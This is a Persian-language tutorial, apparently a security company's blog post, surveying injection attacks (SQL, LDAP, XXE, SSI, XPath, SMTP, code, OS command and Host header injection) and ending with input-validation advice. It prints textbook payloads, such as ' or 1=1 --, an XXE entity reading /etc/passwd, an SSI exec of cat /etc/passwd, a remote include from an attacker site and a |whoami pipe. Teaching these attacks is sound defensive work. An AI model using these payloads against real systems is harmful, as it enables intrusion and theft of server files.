شرح مختصری از انواع حملات تزریق
حملات تزریق یا Injection Attacks چیست؟
با نگاهی به حملات تحت وب، به سری حملاتی بر می‌خوریم که در نام آنها، واژه‌ی Injection به معنای تزریق به چشم می‌خورد. حملات Injection یا تزریق، از جمله حملات معروف و شناخته شده‌ای می‌باشند که تاکنون، وب‌سایت‌های زیادی را تحت تاثیر قرار داده اند. حملاتی که طبق آمار شرکت OWASP، سال‌های زیادی است که در لیست پر رخداد‌ترین حملات تحت وب، قرار گرفته‌اند. در این نوشتار، با مرور مختصری به انواع حملات تزریق، متوجه شباهت و تفاوت‌های این حملات از نظر اجرا می‌شویم و راهکارهایی برای امن‌سازی برنامه در برابر این گروه از حملات را بیان می‌کنیم. در ادامه به معرفی انواع حملات تزریق می‌پردازیم.
انواع حملات تزریق چیست؟
حمله SQL Injection
گاها از این حمله به‌صورت SQLi هم، یاد می‌شود که مختصر عبارت SQL Injection می‌باشد. SQL مخفف عبارت Structured Query Language و به معنی زبان پرسوجو (کوئری) ساختار یافته ، می‌باشد که برای اعمال عملیاتی مانند انتخاب، ایجاد، بروزرسانی و حذف، رکوردها در پایگاه‌داده (DataBase)مورد استفاده قرار می‌گیرد.
این حمله زمانی رخ می‌دهد، که در یک برنامه کاربردی، شیوه ارتباط برنامه با پایگاه‌داده خود، ناامن بوده و اعتبارسنجی صحیحی بر روی داده‌های ارسالی صورت نمی‌گیرد. در این صورت، زمانی‌که یک نفوذگر، با تزریق کوئری‌های مخرب، دستورات مدنظر خود را ارسال کند، این برنامه، درخواست را مجاز تلقی نموده و به درخواست او برای ارسال یک کوئری به پایگاه‌داده، پاسخ می‌دهد. این حمله در شرایط مختلف ممکن است با مقاصد زیر، مورد بهره‌وری قرار بگیرد:
- موجب دور زدن سیستم احراز‌هویت و سطح دسترسی(Athentication و Athorization)
- در معرض خطر قرار گرفتن یکپارچگی و در دسترس بودن سیستم (Integrity و Availability)
- اجرای کد از راه دور (Remote Code Execution)
مثال:
یک برنامه‌ی کاربردی وب، در صفحه ورود کاربر، میتواند به دلیل عدم اعمال اعتبارسنجی درست روی ورودی‌های کاربر، مانند نام کاربری و رمز، دچار آسیب‌پذیری SQL Injection شود. در این صورت نفوذگر قادر است از این طریق دستورات SQL را ارسال و از طریق برنامه اجرا نماید. دستور SQL استفاده شده توسط برنامه، برای ورود کاربران به صفحه کاربری، میتواند مشابه دستور زیر باشد:
SELECT * FROM users WHERE username=’$UsernameInput’ AND password=’$PasswordInput’
نفوذگر کوئری مذکور را با تزریق دستور زیر در فیلد نام کاربری تغییر می‌دهد:
‘or 1=1 --
پس در نهایت دستور SQL ارسالی، برای ورود کاربر به صفحه کاربری، به شکل تغییر می‌کند:
SELECT * FROM users WHERE username=’’ OR 1=1 --’ AND password=’’
با این دستور شرط صحیح بودن نام کاربری، با یک شرط همیشه درست یعنی 1=1 جابه‌جا می‌شود و ادامه‌ی دستور، به دلیل وجود – اصطلاحا کامنت شده و از حالت اجرا خارج می‌شود. در نهایت، نفوذگر با انجام عمل تزریق کد به حساب کاربری فرد دیگر نفوذ می‌کند.
حمله LDAP Injection
واژه‌ی LDAP، مختصر عبارت Lightweight Directory Access Protocol می‌باشد که پروتکلی برای دسترسی به اطلاعاتی در شبکه است. برنامه‌های کاربردی می‌توانند از LDAP برای مواردی مانند احراز هویت کاربران یا جست‌و‌جو در لیست کاربران استفاده نمایند. این عمل بوسیله فرستادن یک LDAP Query، انجام می‌شود.
حمله‌ی LDAP Injection که یک حمله سمت سرور می‌باشد، زمانی رخ می‌دهد که در بخشی از برنامه، ارسالLDAP Query ها برای فراخوانی اطلاعات، به شیوه‌ای ناامن انجام شود و نفوذگر قادر خواهد بود که در کوئری مورد استفاده، دستورات مدنظر خود را تزریق نماید؛ حال، برنامه‌ی گفته شده، دستورات نفوذگر را مجاز دانسته و به آن پاسخ می‌دهد.
در صورت موفق بودن یک حمله‌ی LDAP Injection، در شرایط مختلف، نتایج زیر را برای نفوذگر در بردارد:
- دسترسی به محتوای غیر مجاز
- دور زدن محدودیت‌های برنامه
- جمع آوری اطلاعات غیرمجاز
- ایجاد یا تغییر اشیاء در ساختار درختی LDAP
مثال:
یک برنامه کاربردی وب از LDAP برای احراز هویت کاربران استفاده می‌نماید و اعتبارسنجی درستی بر ورودی‌های کاربران انجام نمی‌دهد. نفوذگر متوجه این موضوع می‌شود و ورودی نام‌کاربری و رمزعبور را به شکل زیر پر می‌کند:
Username=*
Password=*
بعد از تایید، برنامه برای ورود نفوذگر به صفحه کاربری، از دستور زیر استفاده می‌نماید:
(&(user=*)(password=*))
در نتیجه‌ی این دستور، نفوذگر به صفحه کاربری دیگر نفوذ می‌نماید.
حمله XML Injection
XML یکی از زبان‌های نشانه گذاری است که برخلاف HTML، مناسب برای نمایش اطلاعات نیست؛ بلکه برای جابه‌جایی، ایجاد و ذخیره اطلاعات برای نمایش آنها می‌باشد. ممکن است که از ساختار XML، برای نمایش اطلاعات کاربران یا احراز هویت آنها استفاده شود، ولی باید توجه کرد که اگر ورودی‌های برنامه گفته شده، به درستی، اعتبارسنجی نشده باشند، نفوذگر قادر است که تگ‌های مدنظر خود را، برای مقاصد مخربانه به برنامه، تزریق نماید.
این حمله با نام XXE هم شناخته می‌شود که مخفف XML External Entity می‌باشد که در لیست OWASP top 10 سال 2017، در رتبه چهارم قرار داشته است. هم اکنون نیز در لیست سال 2021، با عنوانSecurity Misconfigurations (پیکره‌بندی‌های امنیتی نادرست)، ادغام شده است و در رتبه‌ی پنجم قرار دارد. این حمله، بسته به نوع آسیب‌پذیری برنامه، ممکن است نتایجی مانند اجرای حمله‌ی XSS، احراز هویت غیرمجاز و حملاتی از این دست را همراه داشته باشد.
مثال:
فرض کنید یک برنامه کاربردی وب مربوط به یک فروشگاه آنلاین، برای نمایش صفحه‌ی مربوط به یک محصول، از کد XML مشابه زیر که از درخواست کاربران دریافت می‌کند، استفاده می‌نماید:
<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>
حال، نفوذگر متوجه عدم اعتبار سنجی صحیح، در این قسمت از برنامه شده و این درخواست را بصورت دستور XML زیر تغییر می‌دهد:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>
به دلیل آسیب پذیر بودن برنامه‌ی یاد شده به این حمله، دستور تزریق شده به اجرا در آمده و فایل سیستمی passwd را به جای صفحه‌ی محصول، در اختیار نفوذگر قرار می‌دهد. در نتیجه می‌توان گفت که به علت وجود آسیب‌پذیری برای حمله‌ی XML Injection، امکان حمله‌ی Local File Inclusion نیز، برای نفوذگر به وجود آمد.
حمله SSI Injection
SSI، مخفف عبارت Server Side Includes می‌باشد که اشاره به دستورالعمل‌هایی دارد، که در برنامه‌های وب، برای داشتن صفحات HTML، با محتوایی پویا به ما کمک می‌کنند. برای مثال، ما به یک برنامه کاربردی وب نیاز داریم که دارای صفحات متعددی باشد و هر کدام از صفحات، دارای تغییری کوچک در محتویات خود، نسبت به صفحه‌ی دیگر باشد. در این صورت ایجاد تغییر جزئی در کد html هر کدام از صفحات میتواند عملی دشوار باشد. در اینجا، SSI به کمک ما آمده و میتواند محتویات صفحات را به هرکدام وارد کند. از نظر شباهت، آن را با CGI مقایسه می‌کنند که یک زبان اسکریپتی سمت‌سرور می‌باشد. در واقع، پیش از آماده شدن صفحه‌ی گفته شده، دستورالعمل های SSI، توسط وب‌سرور برنامه، پردازش می‌شوند. زمانی امکان حمله‌ی SSI Injection به وجود می‌آید که بخشی از اطلاعات قابل کنترل توسط کاربر که پاسخی بازگردانی می‌کنند، با دستورالعمل‌های SSI، مورد پردازش قرار می‌گیرند. در صورتی که حمله‌ی SSI موفقیت آمیز باشد، میتواند امکان تزریق کدهای جاوااسکریپت را به نفوذگر بدهد و نتایجی همانند حمله XSS را در بر داشته باشد. همچنین، بسته به ساختار وب‌سرور، میتواند منجر به دسترسی نفوذگر به اطلاعات حساس یا حمله‌ی اجرای کد، در سرور شود و ضرباتی همانند حمله‌ی OS Command Injection را در پی داشته باشد.
مثال:
یک برنامه کاربردی وب، قابلیتی دارد که کاربران پس از ورود به صفحه کاربری خود، می‌توانند آدرس IP خود را ببینند. این عمل با دستورات موجود در تصویر زیر در بک‌اند برنامه صورت می‌گیرد.
نفوذگر پس از آن که احتمال وجود آسیب‌پذیری SSI Injection را تشخیص می‌دهد، دستور زیر را از طریق فیلد مربوط به نام کاربری تزریق می‌نماید:
<!--#exec cmd=”cat /etc/passwd” -->
به دلیل اینکه ورودی‌های کاربران در این برنامه به درستی اعتبارسنجی نشده است، دستور تزریق شده توسط نفوذگر به اجرا درآمده و فایل passwd مانند تصویر زیر در اختیار نفوذگر قرار می‌گیرد.
این مثال، نمونه‌ای از اجرای حمله‌ی Command Injection از طریق آسیب پذیری SSI Injection می‌باشد که در نهایت، منجر دسترسی نفوذگر به فایل‌های موجود در سرور شده است. البته این حمله در صورت اجرا شدن، به همین سناریو خلاصه نشده و امکان اجرای چندین حمله‌ی دیگر نیز برای نفوذگر بوجود خواهد آمد.
حمله XPath Injection
XPath یک زبان برای مسیر‌دهی در پرونده‌های XML است. می‌توان گفت که این زبان مشابه زبان SQL که برای پرسوجو در دیتابیس‌ها است، واسطه برای ارتباط با پرونده‌های XML می‌باشد. الگوی این حمله، نخستین بار توسط Amit Klein کشف شد و شباهت زیادی به حمله SQL Injection دارد. این حمله زمانی اتفاق می‌افتد که برنامه کاربردی مدنظر از XPath برای ارتباط با پرونده‌های xml، استفاده می‌نماید، اما اعتبارسنجی درستی روی ورودی‌های کاربر انجام نمی‌دهد؛ در این شرایط ممکن است نفوذگر از این موضوع مطلع شده و کوئریXPath را به شیوه خود تغییر بدهد که در این صورت، بسته به نقطه‌ی آسیب پذیر، این حمله میتواند موجب احراز هویت غیرمجاز، دسترسی به اطلاعات غیرمجاز یا انجام یک عملیات سطح بالا توسط نفوذگر، شود.
مثال:
یک برنامه کاربردی وب آسیب پذیر، از دستور XPath زیر برای احراز هویت کاربران خود استفاده می‌نماید:
"//Employee[UserName/text()='" & Request("UserName") & "' And Password/text()='" & Request("Password") & "']"
نفوذگر، برای نفوذ به حساب کاربری فردی دیگر، به جای نام کاربری و رمز عبور، مقادیر زیر را وارد می‌کند:
Username : test’ or 1=1 or ‘a’=’a
Password : test
به دلیل اینک برنامه یاد شده، به درستی اعتبارسنجی نشده است، پیلود وارد شده نفوذگر به دستور برنامه تزریق می‌شود و برنامه دستور زیر را اجرا می‌کند:
//Employee[UserName/text()='test' or 1=1 or 'a'='a' And Password/text()='test']
در واقع دستور گفته شده معادل دستور زیر عمل خواهد کرد:
//Employee[(UserName/text()='test' or 1=1) or ('a'='a' And Password/text()='test')]
در این حمله نیز، مانند حمله‌ی تزریق SQL، دستور شرطی برای بارگذاری صفحه کاربری بر اساس نام کاربری و رمز عبور، با دو شرط همیشه درست، یعنی 1=1 و ‘a’=’a’ تغییر نموده و نفوذگر به صفحه کاربری فردی دیگر نفوذ می‌کند.
حمله IMAP SMTP Injection
این حمله، برنامه‌هایی را در معرض خطر قرار می‌دهد که از Mail Server استفاده نموده یا به صورت کلی نقطه‌ی اجرای این حمله، مسیری است که در آن قابلیت تزریق دستورات IMAP/SMTP به Mail Server وجود دارد و به درستی اعتبارسنجی نمی‌شود. در صورت اجرا شدن این حمله، بسته به تزریق انجام شده، نتایج مختلفی را در بر خواهد داشت. نمونه هایی از روش‌های این حمله عبارتند از :
بهره‌برداری از آسیب پذیری‌های پروتکل IMAP/SMTP
- دور زدن محدودیت‌های برنامه
- دور زدن تدابیر امنیتی ضد اتوماتیک‌سازی
- افشاء اطلاعات
- ایجاد هرزنامه
مثال:
یک برنامه کاربردی وب با یک سرویس ارائه ایمیل (webmail) را تصور کنید که دچار آسیب پذیری SMTP Injection می‌باشد. نفوذگر درخواستی با متد POST مشابه درخواست زیر را به برنامه ارسال می‌کند:
POST http://<webmail>/compose.php HTTP/1.1 -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" Test . MAIL FROM: external@domain1.com RCPT TO: external@domain1.com RCPT TO: external@domain2.com RCPT TO: external@domain3.com RCPT TO: external@domain4.com Data SMTP Injection attack . -----------------------------134475172700422922879687252 ...
همانطور که گفته شد، این برنامه آسیب‌پذیر بوده و این درخواست را به درستی اعتبارسنجی نمی‌نماید. پس این درخواست، منجر به اجرا شدن دستور زیر در mail Server این برنامه می‌شود:
MAIL FROM: <mailfrom> RCPT TO: <rcptto> DATA Subject: Test . MAIL FROM: external@domain.com RCPT TO: external@domain1.com RCPT TO: external@domain2.com RCPT TO: external@domain3.com RCPT TO: external@domain4.com DATA SMTP Injection attack . ...
در نتیجه‌ی اجرا شدن این دستور، پیام‌هایی با محتوای دلخواه نفوذگر در درخواست، با عبارت Data جایگزین شده و به ایمیل‌های موجود در ورودی‌های RCPT TO ارسال می‌شود. RCPT اشاره به واژه recipient دارد که به معنای گیرنده است.
حمله Code Injection
این حمله میتواند به واسطه‌ی یک آسیب پذیری، در نسخه‌ی زبان مورد استفاده در سمت سرور، مانند PHP،ASP و … یا استفاده از منطقی نادرست در برنامه نویسی بک‌اند، به وجود بیاید. این حمله را با نام Remote Code Execution (اجرای کد از راه دور) یا به طور مختصر RCE هم می‌شناسند. اجرای موفقیت آمیز این حمله، به معنای تزریق شدن یک قطعه کد مرتبط با ساختار برنامه و اجرا شدن آن توسط سرور است که بسته به میزان آسیب‌پذیری برنامه در اجرای کد نفوذگر، میتواند تبعات متفاوتی را داشته باشد. نفوذگر با اجرای این حمله، قادر است حملاتی دیگر مانند Command Injection را نیز پیاده سازی کند.
مثال:
یک برنامه کاربردی وب، برای بارگذاری یک صفحه با آدرس زیر، از عملکرد eval() استفاده می‌نماید:
http://vulnerable-site.com/?path=support.php
حال نفوذگر برای آزمون نفوذپذیری این برنامه برای حمله‌ی RCE، آدرس یک فایل حاوی کد مدنظر، در سایت خود را در پارامتر path، به صورت زیر جاگذاری می‌نماید:
http://vulnerable-site.com/?path=http://attacker-website/paylaod.php
به دلیل اینکه این برنامه اعتبار سنجی درستی روی این ورودی انجام نمی‌دهد، فایل payload.php توسط سرور سایت آسیب پذیر اجرا شده و از این طریق، نفوذگر قادر است تا حملاتی دیگر را هم پیاده‌‌سازی نماید.
حمله Command Injection
به این حمله به طور کامل‌تر، OS Command Injection نیز گفته می‌شود که به معنای تزریق فرمان سیستم عامل است. این حمله زمانی رخ می‌دهد که نفوذگر، دستورات خط فرمان(ویندوزی یا یونیکسی) را، به نقطه‌‌ای از برنامه که اعتبارسنجی درستی بر آن انجام نشده است، تزریق نموده و وب‌سرور برنامه، این دستور را اجرا کند. در صورتی که نفوذگر، قابلیت اجرای فرمان را داشته باشد، میتواند به راحتی اقدام به سرقت اطلاعات یا نصب یک برنامه مخرب بنماید که این امر میتواند منجر به بالا رفتن شدت حمله شود.
این حمله از طریق آسیب‌پذیری‌های دیگر، مانند موارد زیر هم قابل اجرا می‌باشد:
- Insecure Deserialization
- XML Injection
- File Inclution/Upload
مثال:
یک برنامه کاربردی وب، صفحات خود را با پارامتر param مشابه آدرس زیر، بارگذاری می‌نماید:
https://vulnerable-website/endpoint?param=1
حال، نفوذگر برای اطلاع از آسیب پذیر بودن برنامه به حمله‌ی Command Injection، فرمان whoami را به شکل زیر به برنامه تزریق می‌نماید:
https://vulnerable-website/endpoint?param=1|whoami
به دلیل آسیب پذیر بودن برنامه، فرمان نفوذگر در سرور اجرا شده نتیجه بر روی مرورگر ظاهر می‌شود. حال او قادر است که با گسترش این حمله، آسیب‌های بیشتری به سرور برنامه آسیب پذیر وارد کند.
حمله Host Header Injection
Header یا سربرگ Host، از پارامتر‌هایی است که در درخواست های کاربر، به سمت سرور برنامه‌های وب، ارسال می‌شود و تعیین کننده‌ی Host یا میزبان برنامه وب گفته شده، می‌باشد. به دلیل اینکه Host، از سربرگ های درخواست‌های Http می‌باشد، مشاهده و ایجاد تغییر در آن، نیازمند پروکسی داخلی و رهگیری درخواست‌های مرورگر می‌باشد. در این حمله، نفوذگر با ایجاد تغییر در ورودی این هدر یا هدرهای مرتبط با آن مانند X-Forwaded-Host، میتواند باعث ایجاد حملاتی از جمله حملات زیر شود:
- آلوده کردن کش وب (Web Cache Poisoning)
- مسموم‌سازی تغییر رمزعبور (Password Reset Poisoning)
- جعل درخواست سمت سرور (SSRF)
- دور زدن احراز هویت
مثال:
یک برنامه کاربردی وب، اعتبار سنجی درستی روی ورودی‌های قابل دسترسی کاربر انجام نمی‌دهد. یک نفوذگر برای اجراء حمله‌ی Host Header Injection، درخواست زیر را به برنامه ارسال می‌نماید:
GET / HTTP/1.1 Host: www.example.com X-Forwarded-Host: www.attacker.com
بعد از ارسال شدن این درخواست، سایت نفوذگر توسط دریافت پیغام Redirect در مرورگر وی نمایش داده می‌شود. پس در نتیجه او متوجه وجود این آسیب پذیری در سایت قربانی شده و به گسترش این حمله می‌پردازد.
امن‌سازی در برابر حملات تزریق چگونه انجام می‌شود؟
با مرور مختصر انواع حملات تزریق، متوجه دلایلی مشابه در آسیب‌پذیر بودن برنامه‌ها می‌شویم که توجه به این دلایل، در تعیین راهکار‌های امنیتی برای جلوگیری از این حملات ما کمک می‌کند. تعدادی از راهکار‌های امنیتی برای پیشگیری کلی از حملات تزریق شامل موارد زیر می‌شوند:
پارامتر سازی
اگر امکان آن وجود دارد، از مکانیزم‌های ساختار یافته‌ای استفاده کنید که به طور خودکار، تفکیک بین داده و فرمان را اعمال می‌کنند.
اعبار سنجی ورودی
دستورات و آرگومان‌هایی که توسط کاربر قابل تغییراند باید اعتبار سنجی شوند. در اینجا درجات مختلفی از اعتبارسنجی برای دستور واقعی و آرگومان‌های آن وجود دارد:
- وقتی از یک دستور استفاده می‌شود، باید طبق یک لیست از دستورات مجاز (Alow-List) اعتبار سنجی به عمل بیاید.
- آرگومان‌های مورد استفاده، باید طبق یک لیست مجاز اعتبارسنجی شوند ، طول رشته در حد مجاز باشد و از کاراکتر‌های نامربوط استفاده نشود.
و در انتها…
همانطور که مختصرا به مرور حملات تزریق پرداختیم، متوجه شدیم که برای داشتن یک برنامه‌ی وب امن، در برابر حملات مختلف، مخصوصاً حملات تزریق، نیاز است که به ورودی‌های در دسترس کاربر، در جهت اعتبار سنجی آن، توجه ویژه‌ای داشت و در جهت امن‌سازی آنها کوشا باشیم؛زیرا همانطور که دیدیم، گاهاً وجود یک نقطه‌ی آسیب پذیر در برنامه، باعث ایجاد یک حمله شده و به واسطه‌ی آن حمله، دریچه‌ای برای اجرای حملات دیگر نیز ایجاد می‌شود.
همچنین شرکت راهبران فناوری پاسارگاد خدماتی را در راستای امن سازی سیستم‌های تحت وب ارائه می‌دهد. برای اطلاعات بیشتر کلیک نمایید.